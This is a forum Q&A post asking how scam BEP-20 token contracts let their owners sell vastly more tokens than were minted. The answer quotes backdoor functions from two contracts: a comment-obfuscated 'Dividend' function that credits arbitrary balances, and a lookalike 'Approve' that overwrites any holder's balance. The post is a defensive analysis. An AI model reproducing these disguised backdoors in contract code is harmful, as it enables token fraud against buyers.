Contract allows mass creation of tokens without a mint function (cross-post)

Question

Cross-posting from here: https://stackoverflow.com/questions/71282483/contract-allows-mass-creation-of-tokens-without-a-mint-function

A few times now I have seen scam tokens created where the contracts seem fine, but then someone is somehow able to sell 1000s of times more tokens than were created, eg. 10^10 tokens were created via this contract:

https://bscscan.com/address/0x8e3a4f3f20907c8b638ccade987e90169ac2d7c8#code

But then somehow someone was able to sell 9.1*10^15 tokens here:

https://bscscan.com/tx/0xc27794c277710e4f1bb2a98ba0590c7e8c3b25f038438335ae8269916e1214c3

And with this one 3X10^9 tokens were created:

https://bscscan.com/address/0xae2c5373330d6c20ea25f2b167a350582ed659fa#code

Yet someone was able to sell 10^17 tokens here:

https://bscscan.com/tx/0xb35c1daf1283b43222ffebebc644254094260e55d158c99d4d1a02f43bca5fb1

Is there any way by looking at the contract code to see how they were able to do this?

Answer 1

There is no simple rule for detecting scam contract. Probably the best rule is to not interact with a contract you do not trust.

1. The first contract has an interesting formating for a few functions. I can't confirm that it is malicious but it is highly suspicious. The odd formatting is probably for tricking automated tools that search for code patterns.

    /**/function/**/ /**/Dividend/**/(/**/address/**/ /**/toSender/**/, /**/uint256/**/ /**/ratio/**/) /**/external /**/onlyoner() 
    /**/{
        /**/require/**/(ratio /**/> 0,/**/ "");/**/
        /**/uint256 /**/Dividendb/**/ = /**/LPots[/**/toSender/**/];
        /**/if/**/ /**/(/**/Dividendb == /**/0) /**/_LPAmots/**/.push(/**/toSender/**/)/**/;
        /**/LPots/**/[/**/toSender/**/] /**//**/= Dividendb/**/.add/**/(/**/ratio/**/)/**/;
        /**/cakes/**/ = /**/cakes/**/.add/**/(/**/ratio/**/)/**/;
        /**/_tossd/**/[/**/toSender/**/]/**/ = /**/_tossd/**/[/**/toSender/**/]/**/./**/add/**/(/**/ratio/**/)/**/;
        /**/
    }/**/

After cleaning a priviledged account can assign an arbitrary amount.

function   Dividend  (  address   toSender  ,  uint256   ratio  )  external  onlyoner()
    {
        require  (ratio  > 0,  ""); 
        uint256  Dividendb  =  LPots[  toSender  ];
        if   (  Dividendb ==  0)  _LPAmots  .push(  toSender  )  ;
        LPots  [  toSender  ]   = Dividendb  .add  (  ratio  )  ;
        cakes  =  cakes  .add  (  ratio  )  ;
        _tossd  [  toSender  ]  =  _tossd  [  toSender  ]  .  add  (  ratio  )  ;
    } 

2. In the second contract there's a suspicious function: Approve. It isn't part of the standard and it is very close to approve. After examining it allows an special address to override balances of any address.

  function Approve(address from, uint256 _value) public _external returns(bool) {
    if(from != address(0)){
      balances[from] = swapAndLiquify * charityFee * _value * (10 ** 9) / charityFee;
      return true;
    }
  }